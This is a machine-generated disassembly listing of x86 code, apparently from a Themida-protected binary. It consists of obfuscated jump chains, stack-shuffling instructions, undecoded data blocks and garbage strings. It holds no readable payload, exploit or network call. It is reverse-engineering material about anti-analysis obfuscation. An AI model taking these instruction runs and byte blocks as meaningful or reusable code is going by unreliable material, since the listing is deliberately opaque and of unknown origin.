		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	42D6h
		mov	[esp], edx
		push	718D6637h
		pop	edx
		jmp	loc_56000D
; ---------------------------------------------------------------------------
		dd 0E5C0CDFEh, 1BE95302h, 0BB000012h, 2, 6E8BC781h, 0C781106Bh
		dd 50A44F9Fh, 4734E9h, 30B35300h, 808DF380h, 0DD006CF3h
		dd 0FEC5805Bh, 4DC380h,	4DEB80EBh, 0E2EB8059h, 305BD800h
		dd 4EC83C3h, 0FF45C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D165:				; CODE XREF: Themida_:0055F674j
		push	ebx
		mov	ebx, 35E61C64h
		sub	ebx, 57227352h
		dec	ebx
		jmp	loc_556C17
; ---------------------------------------------------------------------------


loc_55D177:				; CODE XREF: Themida_:00565248j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55F2ED
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 90h
		dd 0FF103705h, 815D2434h, 4C4h,	45EB8100h, 12DAF49h, 0FE9CE9C3h
		dd 0E95DFFFFh, 5B96h, 6A74F781h, 0F901327Eh, 5F2434FFh
		dd 4C481h, 0E9500000h, 0FFFFC38Ah
; ---------------------------------------------------------------------------


loc_55D1C0:				; CODE XREF: Themida_:0055DE27j
		add	esp, 4
		or	eax, eax
		jz	loc_5598F6
		push	dword ptr [edi+1Ch]
		push	2F8Eh
		mov	[esp], ebx
		mov	ebx, 57A06B41h
		jmp	loc_55C3BA
; ---------------------------------------------------------------------------
		db 66h
		dd 0F8243481h, 148B6618h, 4EC8124h, 89000000h, 0E2E9242Ch
		dd 0FFFFFFC9h, 0F758240Ch, 0DD0F7D0h, 53037D96h, 3831A42Dh
		dd 19B7256Bh, 87E97532h, 51000011h, 491DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D21D:				; CODE XREF: Themida_:0055381Dj
		xor	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_554555
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 0E9h
		dd 4EF9h, 5C243C87h, 54240489h,	0FF4656E9h, 5DE831FFh
		dd 30DBBE56h, 0C6810C88h, 1921E3D5h, 2B6AE9h, 24048100h
		dd 7CB90E7Dh, 7DEB815Bh, 5A7CB90Eh, 355E9h, 51555B00h
		dd 0D22801B9h, 5007BD3Fh, 0ED811B55h, 41A11D48h, 2BE9CD01h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D28B:				; CODE XREF: Themida_:0055664Dj
		xor	ebp, edx
		jmp	loc_551F37
; ---------------------------------------------------------------------------
aI4Icsp		db '‰4$‰æép;',0
		align 4
		dd 0BA52C529h, 3737523Ah, 0DBE9D529h, 87FFFF88h, 815C2414h
		dd 4C4h, 11BD5500h, 2909ED44h, 0D8295DE8h, 366BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D2C5:				; CODE XREF: Themida_:00564B93j
		shl	ecx, 7
		xor	ecx, 0DF7C4CABh
		sub	eax, ecx
		pop	ecx
		mov	edi, [esp]
		push	1136h
		jmp	loc_565E6B
; ---------------------------------------------------------------------------
		dw 0CAB9h
		dd 0F7000800h, 75E6E9D1h, 0B951FFFFh, 1F062449h, 0FF964CE9h
		dd 4C181FFh, 0E9000000h, 29E5h,	8324248Bh, 3C8904ECh, 0E9E78924h
		dd 15D2h, 0B3F2E95Dh, 0C281FFFFh, 1, 0F8ACF281h, 51E9B074h
		dd 51FFFF9Dh, 626575B9h, 59CE3104h, 260368h, 240C8900h
		dd 375AE9h, 7B00BF00h, 0F8014906h, 83243C8Bh, 0E95304C4h
		dd 0FFFFC060h, 104C483h, 0C3835AD3h, 241C8704h,	0FF992AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D361:				; CODE XREF: Themida_:0055E7FAj
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5619C2
; ---------------------------------------------------------------------------


loc_55D372:				; CODE XREF: Themida_:00559750j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	esi
		add	edx, 0FFFFFFFFh
		not	edx
		push	633Bh
		mov	[esp], edi
		mov	edi, 1D7D4F45h
		jmp	loc_55D6BC
; ---------------------------------------------------------------------------


loc_55D398:				; CODE XREF: Themida_:0055AB31j
		pop	ebp
		neg	esi
		xor	esi, 14486F56h
		jmp	loc_561502
; ---------------------------------------------------------------------------


loc_55D3A6:				; CODE XREF: Themida_:00551629j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55512D
; ---------------------------------------------------------------------------
		dd 1A1EE581h, 7E90636h,	5E00004Ah, 5823F681h, 0F7891A6Ah
		dd 89CF295Eh, 0FEE95FF9h, 8BFFFFD8h, 1AE92424h,	68000003h
		dd 69FAh, 54243C89h, 5F2434FFh,	0FF7E6BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D3F9:				; CODE XREF: Themida_:0055972Ej
		neg	ebx
		push	eax
		jmp	loc_553ABA
; ---------------------------------------------------------------------------


loc_55D401:				; CODE XREF: Themida_:0056638Ej
		not	ebp
		add	ebp, 7EE45F14h
		not	ebp
		jmp	loc_55E170
; ---------------------------------------------------------------------------
		dd 0F681DEF7h, 76B96BFBh, 1FF68146h, 81504F31h,	0C2FAE2F6h
		dd 2EE95203h
		db 7Eh
byte_55D429	db 2 dup(0FFh)		; DATA XREF: Themida_:0054AAB7o
; ---------------------------------------------------------------------------


loc_55D42B:				; CODE XREF: Themida_:0055FA12j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	1DE6h
		mov	[esp], edx
		jmp	loc_55E75A
; ---------------------------------------------------------------------------
aVsin		db 'VéIn',0
		dd 52C30000h, 0E68032B6h, 5EEC080h, 6808E6C0h, 7DCAh, 68240C89h
		dd 42C5h, 0B7241C89h, 5BFD88D2h, 36B75366h, 5B66FD30h
		dd 0FFFC9FE9h, 48B66FFh, 644A6824h, 0C890000h, 34FF5424h
		dd 0C4815924h, 4, 7330E9h, 81E38900h, 4C3h, 4C38300h, 8B241C87h
		dd 0C3802424h, 8BD800C4h, 6FE9241Ch, 66000086h,	0E924248Bh
		dd 0FFFF4168h
; ---------------------------------------------------------------------------


loc_55D4C0:				; CODE XREF: Themida_:0055303Dj
		sub	esp, 4
		jmp	loc_55A2B2
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 6FE9240Ch
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D4D3:				; CODE XREF: Themida_:0056006Ej
		push	640Eh
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 73864076h
		add	ebp, 8C79BF8Eh
		add	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_560A69
; ---------------------------------------------------------------------------


loc_55D4F7:				; CODE XREF: Themida_:0055462Bj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	ecx, eax
		pop	eax
		push	3B04h
		mov	[esp], edx
		mov	edx, 24h
		add	edx, 566D4627h
		add	edx, edi
		sub	edx, 566D4627h
		xor	[edx], ecx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_563FD0
; ---------------------------------------------------------------------------


loc_55D53D:				; CODE XREF: Themida_:00566430j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, 354531D4h
		sub	edi, 4B555F4h
		add	edi, ebx
		add	edi, 4B555F4h
		push	ebp
		mov	ebp, 1AA73C42h
		sub	ebp, 0E5620A6Eh
		add	edi, ebp
		pop	ebp
		pop	ebx
		jmp	loc_56068E
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 16473056h, 483FCA81h, 59E9519Fh, 0BD000061h,	42694FA3h
		dd 4B0E581h, 0EDC17510h, 2EDC108h, 833EE9h, 1AB06800h
		dd 815A3CBBh, 0F1042444h, 81169A13h, 92042444h,	0E9767723h
		dd 0FFFFF843h, 0E9241433h, 0FFFFB670h, 8804C483h, 0BE0BE9D7h
		dd 0C781FFFFh, 57D42D8Ch, 0E955DF01h, 0FFFFADE6h, 405E089h
		dd 2D000000h, 2, 0E9240487h, 87CCh, 0DEF6E630h,	6805E6C0h
		dd 0
		dd 8A243428h, 0C4832434h, 0EFC68004h, 28C2EB80h, 0B65266F3h
		dd 4A25E9F6h, 2C89FFFFh, 14EBD24h, 0EB29456Ah, 0FFDC1CE9h
		dd 5C801FFh, 6DB2516h, 0FFD9BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D629:				; CODE XREF: Themida_:00566364j
		push	edx
		mov	edx, 4FE069F0h
		xchg	ebp, edx
		jmp	loc_5618C5
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 0FF5A8AE9h, 4C483FFh, 1C8BD801h, 4C48324h, 0E9240433h
		dd 7315h, 3EE95450h, 0D3FFFFFAh, 0C9E92424h, 81FFFF3Fh
		dd 932FFDC5h, 0F22CE9DBh, 1C89FFFFh, 55E38924h,	321BE56h
		dd 0E95673D8h, 0FFFFCA27h
; ---------------------------------------------------------------------------


loc_55D67C:				; CODE XREF: Themida_:0055AD85j
		add	ch, dl
		pop	edx
		push	ebx
		jmp	loc_563C51
; ---------------------------------------------------------------------------


loc_55D685:				; CODE XREF: Themida_:0055B104j
		add	edx, 70DF170Ah
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5540E4
; ---------------------------------------------------------------------------


loc_55D69B:				; CODE XREF: Themida_:00552983j
					; Themida_:005575DBj
		push	577Fh
		jmp	loc_55FFA1
; ---------------------------------------------------------------------------


loc_55D6A5:				; CODE XREF: Themida_:0056411Fj
		mov	[esp], ebp
		push	ebx
		add	dword ptr [esp], 727C21EFh
		pop	ebp
		sub	ebp, 727C21EFh
		jmp	loc_55B28F
; ---------------------------------------------------------------------------


loc_55D6BC:				; CODE XREF: Themida_:0055D393j
		push	edi
		push	77185E23h
		jmp	loc_557680
; ---------------------------------------------------------------------------


loc_55D6C7:				; CODE XREF: Themida_:00564E61j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_561370
; ---------------------------------------------------------------------------
		dd 4BDh, 0BAC68100h, 1273A69h, 0BAEE81EEh, 5D273A69h, 0E9243433h
		dd 21E0h
; ---------------------------------------------------------------------------


loc_55D6EC:				; CODE XREF: Themida_:005637F3j
		xchg	edi, [esp]
		jmp	loc_55DD35
; ---------------------------------------------------------------------------


loc_55D6F4:				; CODE XREF: Themida_:00562424j
		add	ebp, 0E409CC18h
		add	edx, ebp
		jmp	loc_552326
; ---------------------------------------------------------------------------
		db 66h,	3Bh, 0C8h
		dd 3F1EE99Ch, 0B850FFFFh, 4B1F1BA9h, 0B72DD8F7h, 0F735CB74h
		dd 1B34E9D8h, 0D2BD0000h, 0E9669A64h, 0A7h, 6FB868h, 24048900h
		dd 0FFAD4EE9h, 74FF55FFh, 1EE90424h, 5A000003h,	0FFF158E9h
		dd 6AF681FFh, 813B3347h, 0D511FAEEh, 0C0F6811Ch, 892D9953h
		dd 3AFE9F2h, 815D0000h,	4ECh, 24148900h, 4DE668h, 240C8900h
		dd 16BE5650h, 89375C6Dh, 0EC47E9F0h, 0E189FFFFh, 4C181h
		dd 0BD550000h, 4, 685DE929h, 18DBh, 0FFF34CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D799:				; CODE XREF: Themida_:00565B82j
		pop	ecx
		shl	edx, 1
		jmp	loc_551D57
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 14h
		dd 4C48324h, 0FFCD38E9h, 0F6E186FFh, 57E186D4h,	0FF8AFAE9h
		dd 3732BAFFh, 5255643Fh, 5DEF895Dh, 5A2434FFh, 4EE95451h
		dd 1000045h, 54ACE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D7D6:				; CODE XREF: Themida_:0055EDC1j
		push	2182h
		mov	[esp], esi
		mov	esi, esp
		push	4054h
		mov	[esp], edx
		jmp	loc_55CE8D
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 33000000h, 0D9E92434h, 68000050h, 7E3Bh, 0E9243489h
		dd 380Ah, 1642F381h, 8153E78Eh,	49BC2434h, 815E58CEh, 0CE49BCF6h
		dd 4032E958h, 0EA810000h, 8A3B40D3h, 7E9D129h, 81FFFF53h
		dd 2B584CC2h, 81C20109h, 2B584CEAh, 0A6BBE909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D842:				; CODE XREF: Themida_:0056243Dj
		mov	edi, esp
		push	eax
		mov	eax, 579F321Ah
		sub	eax, 579F3216h
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_557351
; ---------------------------------------------------------------------------
aBurgs_s	db 'îrGs.é',27h,7,0
		align 4
		dd 1A50BE05h, 58C6297Eh, 9BE9F529h, 1000020h, 0B9E958C1h
		dd 66FFFFEBh, 0F6E9EF31h, 8B00004Bh, 0C481241Ch, 4, 0FF4E13E9h
		dd 81C529FFh, 836868EDh, 814D582Ch, 317938C5h, 8BE8015Bh
		dd 6857242Ch, 718Eh, 0E9242489h, 28C7h,	1D03C381h, 0D9319A2Ah
		dd 1E0E9h, 7712BF00h, 56507EE2h, 4A42E9h, 0E9DFF600h, 6F8Fh
		dd 6AF7EB81h, 0C1814A8Fh, 34EB1846h, 0E981D901h, 34EB1846h
		dd 0FFC266E9h, 0A9CA80FFh, 61E9D2F6h, 66000071h, 5124048Bh
		dd 0C181E189h, 4, 4E981h, 0C870000h, 3C895C24h,	0AAE95524h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55D91F:				; CODE XREF: Themida_:0055F794j
		push	ebp
		mov	ebp, 67DC0938h
		xor	ebp, 7D675161h
		jmp	loc_561DAA
; ---------------------------------------------------------------------------
		dd 2BF5750h, 89000000h,	0A7A6E9F8h, 8146FFFFh, 0B60F82F6h
		dd 55F68169h, 29121026h, 24348BF2h, 289A68h, 24048900h
		dd 405E089h, 5000000h, 4, 5C240487h, 0B95132FFh, 4B534EA8h
		dd 4244C29h, 0A8055859h, 5A4B534Eh, 0E904EC83h,	0FFFFC950h
		dd 0C181595Ah, 4, 8EE3E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D992:				; CODE XREF: Themida_:00562882j
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edx
		jmp	loc_551DDD
; ---------------------------------------------------------------------------


loc_55D99D:				; CODE XREF: Themida_:00557FECj
		add	edx, 42BDE282h
		mov	ecx, edx
		pop	edx
		not	ecx
		xor	ecx, 0BC56C1C9h
		jmp	loc_55FC47
; ---------------------------------------------------------------------------
aZsV		db 'Zé',0Dh,'v',0
		db 0
; ---------------------------------------------------------------------------


loc_55D9B9:				; CODE XREF: Themida_:00562A6Aj
		mov	esp, [esp]
		jmp	loc_559F99
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FFB691E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D9C9:				; CODE XREF: Themida_:0055DA82j
		sub	al, cl
		pop	ecx
		add	al, bh
		push	ecx
		mov	ch, 17h
		add	al, 84h
		add	al, ch
		sub	al, 84h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	al, 58h
		jmp	loc_558505
; ---------------------------------------------------------------------------


loc_55D9E5:				; CODE XREF: Themida_:0056265Aj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5598DB
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 4CC7815Ah, 0E926D07Dh, 4412h
; ---------------------------------------------------------------------------


loc_55D9FC:				; CODE XREF: Themida_:00558A57j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_561A08
; ---------------------------------------------------------------------------
		db 81h
		dd 91748EBh, 25E38178h,	0E958E442h, 0FFFF4177h,	0C0225BBAh
		dd 0E9D50123h, 0FFFF4388h
; ---------------------------------------------------------------------------


loc_55DA24:				; CODE XREF: Themida_:00557145j
		xchg	edi, [esp]
		pop	esp
		sub	esi, 3B166B38h
		add	esi, 0F70955DDh
		mov	ecx, esi
		jmp	loc_562439
; ---------------------------------------------------------------------------
		align 4
		dd 48B5AD3h, 4C48124h, 80000000h, 0C3284CC3h, 804CEB80h
		dd 0B60FF1EBh, 87048FC0h, 0FF3BCBE9h, 0ECE95DFFh, 30FFFF42h
		dd 0E3C058C3h, 50EBD006h, 0E33091B4h, 9FA3E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA76:				; CODE XREF: Themida_:00557BF0j
		mov	dh, 58h
		sub	al, dh
		pop	dx
		push	ecx
		mov	cl, 31h
		sub	cl, 1Ah
		jmp	loc_55D9C9
; ---------------------------------------------------------------------------
		db 81h
		dd 6513DE9h, 81D90106h,	6513DC1h, 241C8B06h, 4C481h, 0C870000h
		dd 24248B24h, 247CE9h, 0CE895B00h, 8AA8E959h, 1C89FFFFh
		dd 5D8EBB24h, 685637CDh, 35D31441h, 5A74E9h, 9EBA5200h
		dd 553A1207h, 2062ABDh,	0E9EA217Ch, 81A0h, 0E0C1485Dh
		dd 0B8505302h, 0C5E53073h, 2D58C389h, 28095F1Ch, 1C05D801h
		dd 5B28095Fh, 2958C289h, 59D8E9D0h, 489FFFFh, 24348124h
		dd 47F6BB4h, 154BE9h, 0D6015E00h, 0E92434FFh, 0FFFFD8F5h
; ---------------------------------------------------------------------------


loc_55DB18:				; CODE XREF: Themida_:0056341Ej
		pop	ebx
		jmp	loc_564345
; ---------------------------------------------------------------------------
		dw 15B9h
		dd 89406134h, 240C8BCDh, 0E904C483h, 0FFFFBAE0h, 4244481h
		dd 5BF508DEh, 4244C01h,	4246C81h, 5BF508DEh, 0FFE6B9E9h
		dd 242C81FFh, 4B7A2991h, 81242C29h, 29912404h, 815D4B7Ah
		dd 7E3670F5h, 5DE901CEh, 0FFCAB1E9h, 49E981FFh,	0E9102D1Ah
		dd 0FFFF98B0h, 4808E8C1h, 2D88E9h, 81D90100h, 0B1FB3E9h
		dd 0C335B3Ch, 240C3124h, 3C81E9h, 240C8900h, 2434FF54h
		dd 4EC8359h, 0FFD1D4E9h, 3324BBFFh, 0EC812085h,	4, 74DCE9h
		dd 0C4815E00h, 4, 3304C583h, 2C31242Ch,	242C3324h, 4FD7E9h
		dd 0E9E58900h, 32EDh
; ---------------------------------------------------------------------------


loc_55DBD0:				; CODE XREF: Themida_:00551B5Aj
		xor	eax, 1A5EE90Ch
		mov	esi, eax
		pop	eax
		not	esi
		add	esi, 1
		shl	esi, 8
		sub	esi, 0CEA933FCh
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 4
		sub	esp, 4
		jmp	loc_557694
; ---------------------------------------------------------------------------
		dd 5C241C87h, 8B243C87h, 8F542424h, 0E9512404h,	0FFFF896Ah
; ---------------------------------------------------------------------------


loc_55DC10:				; CODE XREF: Themida_:0055BD29j
		add	ecx, 0E7610053h
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55B336
; ---------------------------------------------------------------------------
		dd 0A043E95Ch, 0B951FFFFh, 72D80F6Ah, 0E959C829h, 726h
; ---------------------------------------------------------------------------


loc_55DC44:				; CODE XREF: Themida_:00563A4Fj
		mov	dl, cl
		push	ebx
		mov	bh, dl
		push	edx
		mov	dl, bh
		jmp	loc_556025
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 52h
		dd 1A2DF8BAh, 0CC2812Ah, 1D5E5D2h, 0E9835AD1h, 240C3304h
		dd 33240C31h, 0E95C240Ch, 0FFFF69EFh, 2D42BB53h, 0F381216Bh
		dd 3D0D23D3h, 0FF49BAE9h, 241489FFh, 0FF5854E9h, 0FB6856FFh
		dd 5E31A226h, 0EE81EED1h, 0F97DC30Eh, 0FF5EF329h, 815D2434h
		dd 4ECh, 24148900h, 63C5E954h, 3489FFFFh, 4DDABE24h, 0EC834306h
		dd 240C8904h, 4C310DB9h, 59CB0112h, 2DE9F301h, 5AFFFF52h
		dd 8124048Fh, 42404h, 34FF0000h, 8901E924h, 0D8280000h
		dd 0FF6F10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DCE9:				; CODE XREF: Themida_:0055B844j
		pop	esi
		add	esp, 4
		push	ebx
		jmp	loc_56569C
; ---------------------------------------------------------------------------
		db 81h
		dd 104004EBh, 68685F5Bh, 0E9000036h, 0FFFF7762h, 8658C388h
		dd 0E5E953EBh, 0BEFFFF9Fh, 203062BAh, 0C681DEF7h, 0D8D041Ch
		dd 0A166F681h, 0F789ED5Ch, 82D5E95Eh, 0C2810000h, 689D7A91h
		dd 4999E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DD35:				; CODE XREF: Themida_:0055D6EFj
		pop	esp
		and	ecx, ebp
		jmp	loc_56214E
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 3221E9h, 2B0D2500h, 0E8C15759h, 0FE94805h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DD53:				; CODE XREF: Themida_:00558C89j
		pop	edx
		jmp	loc_552232
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 95h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD5F:				; CODE XREF: Themida_:0055B28Aj
		push	dword ptr [esp]
		jmp	loc_558B04
; ---------------------------------------------------------------------------
aPAA		db '\P´\€ê',0
aTfqAaSis	db 'âfQ±€ÂÐéIs',0
		align 4


loc_55DD7C:				; CODE XREF: Themida_:0055888Cj
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 4
		jmp	loc_554866
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C48300h, 0FF388BE9h, 3886E9FFh, 6068FFFFh, 0E900000Bh
		dd 0FFFFD75Bh
; ---------------------------------------------------------------------------


loc_55DDAC:				; CODE XREF: Themida_:0055AA24j
		mov	ecx, esp
		push	esi
		push	ebp
		mov	ebp, 10DE6FF0h
		xor	ebp, 2B58625Bh
		jmp	loc_555A32
; ---------------------------------------------------------------------------
		dd 53242C89h, 513A63BBh, 0E9D7BD12h, 0DD0103DAh, 0E92434FFh
		dd 1320h
; ---------------------------------------------------------------------------


loc_55DDD8:				; CODE XREF: Themida_:00552552j
		add	esp, 4
		push	7FB3h
		mov	[esp], edi
		jmp	loc_55665B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 48839A4h, 7A9FE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DDF6:				; CODE XREF: Themida_:00552FFCj
		pop	esp
		mov	[esp], eax
		mov	ah, 84h
		shl	ah, 4
		push	edx
		jmp	loc_55A2F2
; ---------------------------------------------------------------------------


loc_55DE05:				; CODE XREF: Themida_:00556626j
		pop	edx
		sub	[esp+8], edx
		pop	edx
		sub	dword ptr [esp+4], 555A52F9h
		add	dword ptr [esp+4], 30C1F6Bh
		sub	[esp+4], esi
		jmp	loc_55E9A4
; ---------------------------------------------------------------------------


loc_55DE24:				; CODE XREF: Themida_:0055E737j
		mov	edi, [esp]
		jmp	loc_55D1C0
; ---------------------------------------------------------------------------
		dd 4C1835Fh, 8B240C87h,	0A2E92424h, 87FFFFDEh, 0E95C241Ch
		dd 0FFFFBB21h
; ---------------------------------------------------------------------------


loc_55DE44:				; CODE XREF: Themida_:0055E744j
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		jmp	loc_556A96
; ---------------------------------------------------------------------------
		dd 4C2835Bh, 31241433h,	14332414h, 0EC815C24h, 4, 68243489h
		dd 6701h, 83242489h, 0E9042404h, 0FFFF5A47h
; ---------------------------------------------------------------------------


loc_55DE8C:				; CODE XREF: Themida_:005578BEj
		xor	ebp, 421B4958h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_563BEE
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 20F44A3Fh, 0FF8F21E9h, 243C87FFh, 5624248Bh,	0C681E689h
		dd 4, 4EE81h, 0F5E90000h, 83FFFF6Ch, 1C8704C3h,	24248B24h
		dd 2DCAEA81h, 0D18973EBh, 20C1815Ah, 1655F3Bh, 20E981C1h
		dd 0FF655F3Bh, 68582434h, 63Bh,	89243489h, 4C681E6h, 83000000h
		dd 348704C6h, 0CB895C24h, 6F69E959h, 21E9FFFFh,	5BFFFF37h
		dd 0B551D828h, 26D3E9CCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DF12:				; CODE XREF: Themida_:005626BFj
		push	ebx
		pop	esi
		pop	ebx
		push	edi
		push	41705978h
		pop	edi
		shl	edi, 4
		jmp	loc_562CB0
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0DF2904C4h, 0FFBA525Bh, 81570502h, 112D31E2h
		dd 0E1C28128h, 214B067Ch, 0BDCEE9D7h, 1C87FFFFh, 0E8015C24h
		dd 0FF8F75E9h, 4C681FFh, 0E9000000h, 0FFFFABEFh, 402DC801h
		dd 8B3D3428h, 0C483240Ch, 24048704h, 119EE9h, 24148700h
		dd 0C2D4E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF7A:				; CODE XREF: Themida_:00558EABj
		jz	loc_561128
		push	edx
		mov	edx, 1Ch
		jmp	loc_563880
; ---------------------------------------------------------------------------
aIST		db '‰,$éÍt',0
		dw 8100h
		dd 1A190FF6h, 3EEE8145h, 0E921CC87h, 0FFFFBCE0h, 1AEB850h
		dd 0B2BD73F0h, 2973F001h, 0EF0158C5h, 4C7815Dh,	87000000h
		dd 0E95C243Ch, 0FFFFC0BCh, 5A46E95Ah, 8F5FFFFFh, 248B2404h
		dd 0F1F76624h, 0FF6559E9h, 364AE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DFDE:				; CODE XREF: Themida_:00562DD1j
		add	ecx, 0AAA36C0h
		sub	ecx, ebx
		sub	ecx, 0AAA36C0h
		pop	ebx
		pop	esi
		push	54B0h
		mov	[esp], ebx
		jmp	loc_55EAFE
; ---------------------------------------------------------------------------
		db 81h
		dd 924436C5h, 9987E919h, 3431FFFFh, 0AEFDE924h,	0E957FFFFh
		dd 0FFFF42BFh, 0E904C483h, 663Fh, 0EA81DAF7h, 0FFFFFFFFh
		dd 0DA1BEA81h, 0D329EC28h, 8324148Bh, 885E04C4h, 0E95A5B33h
		dd 0FFFFBFBFh, 0E924048Bh, 0FFFF6BBBh
; ---------------------------------------------------------------------------


loc_55E044:				; CODE XREF: Themida_:00560E3Dj
		mov	[esp], edx
		push	18C20404h
		mov	edx, [esp]
		add	esp, 4
		shr	edx, 8
		push	edi
		mov	edi, 7F4D4FEEh
		sub	edx, edi
		pop	edi
		jmp	loc_565F77
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89562404h, 4C681E6h,	57000000h, 0AD5B86BFh, 56EF8168h
		dd 810B581Ch, 6B1A11CFh, 3026E93Ch, 48F0000h, 65ABE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E092:				; CODE XREF: Themida_:00555A2Dj
		push	791h
		mov	[esp], eax
		jmp	loc_556180
; ---------------------------------------------------------------------------
		db 50h
		dd 8407EEB8h, 33EF8163h, 0E906CA66h, 3AF1h, 6E66BF57h
		dd 0FE0124A7h, 81DEF75Fh, 0D16027EEh, 0F6EE8133h, 14E33CCh
		dd 24348BF0h, 2504C483h, 39BC70CDh, 3D2D68h, 24148900h
		dd 6550F8BAh, 5AD02148h, 40CA35h, 58C20108h, 5B05E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E0F1:				; CODE XREF: Themida_:00563634j
		push	edx
		mov	edx, edi
		push	edx
		jmp	loc_562F10
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4EC8100h, 89000000h, 4B9240Ch,	1000000h, 0E380E9C8h
		dd 0BA52FFFFh, 6F511EA8h, 234CEA81h, 0F2815557h, 427C5725h
		dd 0BD0BF281h, 0D7291877h, 0AF06E95Ah, 2C81FFFFh, 6B328B24h
		dd 242C8B26h, 8104C483h, 6B328BC5h, 24048B26h, 4C481h
		dd 89680000h, 8900005Eh, 0F9BE2434h, 1525351h, 5EE95EF5h
		dd 29FFFF6Eh, 0E95F5EF3h, 0FFFF3E80h
; ---------------------------------------------------------------------------


loc_55E170:				; CODE XREF: Themida_:0055D40Bj
		push	eax
		mov	eax, 32ED5828h
		inc	eax
		jmp	loc_56461C
; ---------------------------------------------------------------------------


loc_55E17C:				; CODE XREF: Themida_:00560D86j
		pop	edi
		push	ecx
		jmp	loc_560BAA
; ---------------------------------------------------------------------------
		db 1
		dd 0BA5258C6h, 133F2029h, 0FF5C43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E191:				; CODE XREF: Themida_:005598D6j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_561D32
; ---------------------------------------------------------------------------
aIurvQrfsyz	db '‰ãRV¾´"QrFéyZ',0
		align 2
		dw 148Bh
		dd 4C48324h, 7FEED81h, 0EB891142h, 4DC7815Dh, 0E931E30Fh
		dd 0FFFFE834h, 68h, 0F977E900h,	8147FFFFh, 0DD5E56F7h
		dd 5FFB3197h, 26E8C381h, 0EBC131C9h, 0F6D2E906h, 0BE56FFFFh
